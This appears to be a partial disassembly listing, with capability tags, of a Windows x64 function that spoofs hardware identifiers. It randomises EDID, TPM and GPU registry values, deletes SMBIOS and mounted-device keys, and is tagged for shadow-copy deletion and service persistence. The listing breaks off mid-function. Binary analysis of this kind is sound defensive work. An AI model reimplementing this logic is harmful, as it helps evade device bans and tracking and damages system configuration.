Function at 0x1400027b0
Capabilities:
Delete registry key
Delete registry value
Delete volume shadow copies
Enumerate files on windows
Enumerate processes
Get common file path
Get disk information
Persist via windows service
Query or enumerate registry key
Query or enumerate registry value
Read file on windows
Set registry value
Terminate process
Write file on windows

Disassembly:
push rbp
push r14
lea rbp, [rsp - 0x216d8]
mov eax, 0x217d8
call fcn.140007510
sub rsp, rax
mov rax, qword [0x14000d008]
xor rax, rsp
mov qword [rbp + 0x216b0], rax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
lea rcx, [0x1400085e8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rcx, [0x1400085e8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtQueryKey
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r14d, r14d
lea r8, [rbp - 0x78]
lea rdx, str.SeTakeOwnershipPrivilege
mov qword [rbp - 0x78], r14
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x1400053e4
mov rax, qword [rbp - 0x78]
mov qword [rbp - 0x64], rax
mov dword [rbp - 0x68], 1
mov dword [rbp - 0x5c], 2
mov qword [rsp + 0x58], r14
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x58]
lea edx, [r14 + 0x20]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1400053e4
mov rcx, qword [rsp + 0x58]
lea r9d, [r14 + 0x10]
mov qword [rsp + 0x28], r14
lea r8, [rbp - 0x68]
xor edx, edx
mov qword [rsp + 0x20], r14
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x1400028a2
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400053e4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rsp + 0x58]
cmp eax, 0x514
je 0x140002897
mov qword [rsp + 0x217f0], rbx
mov qword [rsp + 0x217f8], rsi
mov qword [rsp + 0x21800], rdi
mov qword [rsp + 0x217d0], r12
mov qword [rsp + 0x217c8], r13
mov qword [rsp + 0x217c0], r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x58], r14
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetEnumDISPLAY
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140002c47
mov rbx, qword [rsp + 0x58]
lea rcx, [rbp + 0x200]
xor edx, edx
mov qword [rsp + 0x50], rbx
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
mov qword [rsp + 0x38], r14
lea r9, [rbp - 0x78]
mov qword [rsp + 0x30], r14
lea r8, [rbp + 0x200]
mov qword [rsp + 0x28], r14
xor edx, edx
mov rcx, rbx
mov qword [rsp + 0x20], r14
mov r13d, r14d
mov dword [rbp - 0x78], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x140002c3e
nop dword [rax + rax]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x70], r14
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, [rbp + 0x200]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140002c01
mov r12, qword [rsp + 0x70]
lea rcx, [rbp + 0x660]
xor edx, edx
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
mov qword [rsp + 0x38], r14
lea r9, [rbp - 0x6c]
mov qword [rsp + 0x30], r14
lea r8, [rbp + 0x660]
mov qword [rsp + 0x28], r14
xor edx, edx
mov rcx, r12
mov qword [rsp + 0x20], r14
mov r15d, r14d
mov dword [rbp - 0x6c], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x140002bf8
nop word [rax + rax]
lea rax, [rsp + 0x68]
mov qword [rsp + 0x68], r14
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, [rbp + 0x660]
mov rcx, r12
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140002bb6
mov rsi, qword [rsp + 0x68]
lea rcx, [rbp - 0x50]
xor edx, edx
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
mov qword [rsp + 0x38], r14
lea r9, [rbp - 0x70]
mov qword [rsp + 0x30], r14
lea r8, [rbp - 0x50]
mov qword [rsp + 0x28], r14
xor edx, edx
mov rcx, rsi
mov qword [rsp + 0x20], r14
mov ebx, r14d
mov dword [rbp - 0x70], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x140002bad
nop
lea rdx, str.device_parameters
lea rcx, [rbp - 0x50]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
mov rcx, rsi
test eax, eax
je 0x140002ade
mov qword [rsp + 0x38], r14
lea r9, [rbp - 0x70]
mov qword [rsp + 0x30], r14
lea r8, [rbp - 0x50]
inc ebx
mov qword [rsp + 0x28], r14
mov edx, ebx
mov qword [rsp + 0x20], r14
mov dword [rbp - 0x70], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x140002a90
jmp 0x140002bad
lea rax, [rsp + 0x60]
mov qword [rsp + 0x60], r14
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, [rbp - 0x50]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140002bad
mov r14, qword [rsp + 0x60]
lea rax, [rbp - 0x80]
xor ebx, ebx
mov qword [rsp + 0x28], rax
mov rcx, r14
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov dword [rbp - 0x80], ebx
xor r8d, r8d
lea rdx, str.EDID
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140002ba1
mov ecx, dword [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
je 0x140002ba1
mov ecx, dword [rbp - 0x80]
test ecx, ecx
je 0x140002b76
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x800000ff
jge 0x140002b68
dec eax
or eax, 0xffffff00
inc eax
mov ecx, ebx
inc ebx
mov byte [rcx + rdi], al
mov ecx, dword [rbp - 0x80]
cmp ebx, ecx
jb 0x140002b52
mov dword [rsp + 0x28], ecx
lea rdx, str.EDID
mov rcx, r14
mov qword [rsp + 0x20], rdi
mov r9d, 3
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor r14d, r14d
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x38], r14
lea r9, [rbp - 0x6c]
mov qword [rsp + 0x30], r14
lea r8, [rbp + 0x660]
inc r15d
mov qword [rsp + 0x28], r14
mov edx, r15d
mov qword [rsp + 0x20], r14
mov rcx, r12
mov dword [rbp - 0x6c], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x140002a10
mov rbx, qword [rsp + 0x50]
mov rcx, r12
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x38], r14
lea r9, [rbp - 0x78]
mov qword [rsp + 0x30], r14
lea r8, [rbp + 0x200]
inc r13d
mov qword [rsp + 0x28], r14
mov edx, r13d
mov qword [rsp + 0x20], r14
mov rcx, rbx
mov dword [rbp - 0x78], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x140002980
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r8, str.SMBiosData
mov rcx, 0xffffffff80000002
lea rdx, str.SYSTEMCurrentControlSetServicesmssmbiosData
call qword [sym.imp.SHLWAPI.dll_SHDeleteValueW]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x60], r14
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SYSTEMHardwareConfig
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea r15, str.abcdef012345789
test eax, eax
jne 0x140002ee6
xor edx, edx
lea rcx, [rbp + 0x660]
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
mov rsi, qword [rsp + 0x60]
lea rax, [rbp - 0x78]
mov qword [rsp + 0x28], rax
lea rdx, str.LastConfig
lea rax, [rbp + 0x660]
mov dword [rbp - 0x78], 0x208
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140002dbb
mov ebx, r14d
lea rcx, [rbp + 0x660]
mov rax, 0xffffffffffffffff
inc rax
cmp word [rcx + rax*2], 0
jne 0x140002d01
test rax, rax
je 0x140002d8f
mov rcx, r14
nop dword [rax]
nop word [rax + rax]
lea rdi, [rbp + 0x660]
lea rdi, [rdi + rcx*2]
movzx ecx, word [rdi]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_iswxdigit]
test eax, eax
je 0x140002d68
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdqe
mov rcx, 0xffffffffffffffff
nop word [rax + rax]
inc rcx
cmp word [r15 + rcx*2], 0
jne 0x140002d50
xor edx, edx
div rcx
movzx eax, word [r15 + rdx*2]
mov word [rdi], ax
inc ebx
lea rdx, [rbp + 0x660]
mov ecx, ebx
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp word [rdx + rax*2], 0
jne 0x140002d80
cmp rcx, rax
jb 0x140002d20
mov eax, dword [rbp - 0x78]
lea rdx, str.LastConfig
mov dword [rsp + 0x28], eax
mov r9d, 1
lea rax, [rbp + 0x660]
xor r8d, r8d
mov rcx, rsi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
xor edx, edx
lea rcx, [rbp - 0x50]
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
mov qword [rsp + 0x38], r14
lea r9, [rbp - 0x78]
mov qword [rsp + 0x30], r14
lea r8, [rbp - 0x50]
mov qword [rsp + 0x28], r14
xor edx, edx
mov rcx, rsi
mov qword [rsp + 0x20], r14
mov ebx, r14d
mov dword [rbp - 0x78], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x140002edd
lea rdx, str.current
lea rcx, [rbp - 0x50]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
mov rcx, rsi
test eax, eax
jne 0x140002e53
mov qword [rsp + 0x38], r14
lea r9, [rbp - 0x78]
mov qword [rsp + 0x30], r14
lea r8, [rbp - 0x50]
inc ebx
mov qword [rsp + 0x28], r14
mov edx, ebx
mov qword [rsp + 0x20], r14
mov dword [rbp - 0x78], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x140002e05
jmp 0x140002edd
lea r8, [rsp + 0x58]
mov qword [rsp + 0x58], r14
lea rdx, [rbp + 0x660]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
cmp eax, 0x3fd
jne 0x140002eab
mov qword [rsp + 0x40], r14
lea rax, [rsp + 0x58]
mov qword [rsp + 0x38], rax
lea rdx, [rbp + 0x660]
mov qword [rsp + 0x30], r14
xor r9d, r9d
mov dword [rsp + 0x28], 0xf003f
xor r8d, r8d
mov rcx, rsi
mov dword [rsp + 0x20], 1
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140002edd
mov r8, qword [rsp + 0x58]
lea rdx, [rbp - 0x50]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegCopyTreeW]
test eax, eax
jne 0x140002ed2
lea rdx, [rbp - 0x50]
mov rcx, rsi
call qword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x60], r14
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWARENVIDIA_CorporationGlobal
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140002f4e
mov rbx, qword [rsp + 0x60]
lea rcx, [rbp + 0x870]
xor edx, edx
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
lea r8, [rbp + 0x870]
mov rcx, rbx
lea rdx, str.ClientUUID
call fcn.140001230
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x60], r14
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWARENVIDIA_CorporationGlobal
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140002fb6
mov rbx, qword [rsp + 0x60]
lea rcx, [rbp + 0x870]
xor edx, edx
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
lea r8, [rbp + 0x870]
mov rcx, rbx
lea rdx, str.PersistenceIdentifier
call fcn.140001230
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x60], r14
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SOFTWARENVIDIA_CorporationGlobalCoProcManager
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000301e
mov rbx, qword [rsp + 0x60]
lea rcx, [rbp + 0x870]
xor edx, edx
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
lea r8, [rbp + 0x870]
mov rcx, rbx
lea rdx, str.ChipsetMatchID
call fcn.140001230
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, str.SYSTEMMountedDevices
mov rcx, 0xffffffff80000002
call qword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
lea rdx, str.SOFTWAREMicrosoftDfrgStatistics
mov rcx, 0xffffffff80000002
call qword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerBitBucketVolume
mov rcx, 0xffffffff80000001
call qword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerMountPoints2CPCVolume
mov rcx, 0xffffffff80000001
call qword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerMountPoints2
mov rcx, 0xffffffff80000001
call qword [sym.imp.SHLWAPI.dll_SHDeleteKeyW]
lea r8, str.LastEnum
mov rcx, 0xffffffff80000001
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerBitBucket
call qword [sym.imp.SHLWAPI.dll_SHDeleteValueW]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x60], r14
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetServicesTPMWMI
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140003178
mov rsi, qword [rsp + 0x60]
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
lea rdx, str.WindowsAIKHash
mov rcx, rsi
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov dword [rbp - 0x80], r14d
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x14000316f
mov ecx, dword [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
je 0x14000316f
mov ecx, dword [rbp - 0x80]
mov ebx, r14d
test ecx, ecx
je 0x140003144
nop dword [rax]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x800000ff
jge 0x140003136
dec eax
or eax, 0xffffff00
inc eax
mov ecx, ebx
inc ebx
mov byte [rcx + rdi], al
mov ecx, dword [rbp - 0x80]
cmp ebx, ecx
jb 0x140003120
mov dword [rsp + 0x28], ecx
lea rdx, str.WindowsAIKHash
mov rcx, rsi
mov qword [rsp + 0x20], rdi
mov r9d, 3
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x60], r14
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftDirect3D
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140003250
mov rsi, qword [rsp + 0x60]
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
lea rdx, str.WHQLClass
mov rcx, rsi
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov dword [rbp - 0x80], r14d
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140003247
mov ecx, dword [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
je 0x140003247
mov ecx, dword [rbp - 0x80]
mov ebx, r14d
test ecx, ecx
je 0x14000321c
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x800000ff
jge 0x14000320e
dec eax
or eax, 0xffffff00
inc eax
mov ecx, ebx
inc ebx
mov byte [rcx + rdi], al
mov ecx, dword [rbp - 0x80]
cmp ebx, ecx
jb 0x1400031f8
mov dword [rsp + 0x28], ecx
lea rdx, str.WHQLClass
mov rcx, rsi
mov qword [rsp + 0x20], rdi
mov r9d, 3
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x60], r14
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SoftwareClassesInstallerDependencies
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140003328
mov rsi, qword [rsp + 0x60]
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
lea rdx, str.MSICache
mov rcx, rsi
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov dword [rbp - 0x80], r14d
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x14000331f
mov ecx, dword [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
je 0x14000331f
mov ecx, dword [rbp - 0x80]
mov ebx, r14d
test ecx, ecx
je 0x1400032f4
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x800000ff
jge 0x1400032e6
dec eax
or eax, 0xffffff00
inc eax
mov ecx, ebx
inc ebx
mov byte [rcx + rdi], al
mov ecx, dword [rbp - 0x80]
cmp ebx, ecx
jb 0x1400032d0
mov dword [rsp + 0x28], ecx
lea rdx, str.MSICache
mov rcx, rsi
mov qword [rsp + 0x20], rdi
mov r9d, 3
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x60], r14
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.HARDWAREDESCRIPTIONSystemMultifunctionAdapter0DiskController0DiskPeripheral
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140003468
mov rsi, qword [rsp + 0x60]
lea rcx, [rbp + 0x200]
xor edx, edx
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
mov qword [rsp + 0x38], r14
lea r9, [rbp - 0x78]
mov qword [rsp + 0x30], r14
lea r8, [rbp + 0x200]
mov qword [rsp + 0x28], r14
xor edx, edx
mov rcx, rsi
mov qword [rsp + 0x20], r14
mov edi, r14d
mov dword [rbp - 0x78], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x14000345f
nop dword [rax]
nop word [rax + rax]
lea rax, [rsp + 0x68]
mov qword [rsp + 0x68], r14
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, [rbp + 0x200]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140003424
mov rbx, qword [rsp + 0x68]
lea rcx, [rbp + 0x870]
xor edx, edx
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
lea r8, [rbp + 0x870]
mov rcx, rbx
lea rdx, str.Identifier
call fcn.140001230
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x38], r14
lea r9, [rbp - 0x78]
mov qword [rsp + 0x30], r14
lea r8, [rbp + 0x200]
inc edi
mov qword [rsp + 0x28], r14
mov edx, edi
mov qword [rsp + 0x20], r14
mov rcx, rsi
mov dword [rbp - 0x78], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x1400033c0
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x60], r14
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.HARDWAREDEVICEMAPScsi
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140003836
mov rdi, qword [rsp + 0x60]
lea rcx, [rbp + 0x870]
xor edx, edx
mov qword [rbp - 0x68], rdi
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
mov qword [rsp + 0x38], r14
lea r9, [rbp - 0x80]
mov qword [rsp + 0x30], r14
lea r8, [rbp + 0x870]
mov ebx, r14d
mov qword [rsp + 0x28], r14
xor edx, edx
mov qword [rsp + 0x20], r14
mov rcx, rdi
mov dword [rsp + 0x58], ebx
mov dword [rbp - 0x80], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x14000382d
nop dword [rax]
lea rax, [rsp + 0x68]
mov qword [rsp + 0x68], r14
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, [rbp + 0x870]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400037ee
mov r13, qword [rsp + 0x68]
lea rcx, [rbp + 0x660]
xor edx, edx
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
mov qword [rsp + 0x38], r14
lea r9, [rbp - 0x70]
mov qword [rsp + 0x30], r14
lea r8, [rbp + 0x660]
mov qword [rsp + 0x28], r14
xor edx, edx
mov rcx, r13
mov qword [rsp + 0x20], r14
mov r12d, r14d
mov dword [rbp - 0x70], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x1400037e5
xor edi, edi
nop word [rax + rax]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x70], rdi
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, [rbp + 0x660]
mov rcx, r13
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000379d
mov r15, qword [rsp + 0x70]
lea rcx, [rbp - 0x50]
xor edx, edx
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
mov qword [rsp + 0x38], rdi
lea r9, [rbp - 0x6c]
mov qword [rsp + 0x30], rdi
lea r8, [rbp - 0x50]
mov qword [rsp + 0x28], rdi
xor edx, edx
mov rcx, r15
mov qword [rsp + 0x20], rdi
mov r14d, edi
mov dword [rbp - 0x6c], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x140003794
nop
lea rdx, str.arget
lea rcx, [rbp - 0x50]
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
test rax, rax
je 0x14000375a
lea rax, [rsp + 0x78]
mov qword [rsp + 0x78], rdi
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, [rbp - 0x50]
mov rcx, r15
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000375a
mov rsi, qword [rsp + 0x78]
lea rcx, [rbp + 0x200]
xor edx, edx
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
mov qword [rsp + 0x38], rdi
lea r9, [rbp - 0x78]
mov qword [rsp + 0x30], rdi
lea r8, [rbp + 0x200]
mov qword [rsp + 0x28], rdi
xor edx, edx
mov rcx, rsi
mov qword [rsp + 0x20], rdi
mov ebx, edi
mov dword [rbp - 0x78], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x140003751
nop dword [rax + rax]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x50], rdi
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, [rbp + 0x200]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140003716
mov rdi, qword [rsp + 0x50]
lea rcx, [rbp + 0x10b0]
xor edx, edx
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
lea r8, [rbp + 0x10b0]
mov rcx, rdi
lea rdx, str.Identifier
call fcn.140001230
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor edi, edi
mov qword [rsp + 0x38], rdi
lea r9, [rbp - 0x78]
mov qword [rsp + 0x30], rdi
lea r8, [rbp + 0x200]
inc ebx
mov qword [rsp + 0x28], rdi
mov edx, ebx
mov qword [rsp + 0x20], rdi
mov rcx, rsi
mov dword [rbp - 0x78], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x1400036b0
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x38], rdi
lea r9, [rbp - 0x6c]
mov qword [rsp + 0x30], rdi
lea r8, [rbp - 0x50]
inc r14d
mov qword [rsp + 0x28], rdi
mov edx, r14d
mov qword [rsp + 0x20], rdi
mov rcx, r15
mov dword [rbp - 0x6c], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x140003610
mov rcx, r15
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x38], rdi
lea r9, [rbp - 0x70]
mov qword [rsp + 0x30], rdi
lea r8, [rbp + 0x660]
inc r12d
mov qword [rsp + 0x28], rdi
mov edx, r12d
mov qword [rsp + 0x20], rdi
mov rcx, r13
mov dword [rbp - 0x70], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x140003590
mov ebx, dword [rsp + 0x58]
xor r14d, r14d
mov rdi, qword [rbp - 0x68]
mov rcx, r13
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x38], r14
lea r9, [rbp - 0x80]
inc ebx
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
lea r8, [rbp + 0x870]
mov edx, ebx
mov qword [rsp + 0x20], r14
mov rcx, rdi
mov dword [rsp + 0x58], ebx
mov dword [rbp - 0x80], 0x208
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x140003500
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x50], r14
mov r9d, 0xf003f
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetServicesTPMODUID
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000390e
mov rsi, qword [rsp + 0x50]
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
lea rdx, str.RandomSeed
mov rcx, rsi
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov dword [rbp - 0x80], r14d
xor r8d, r8d
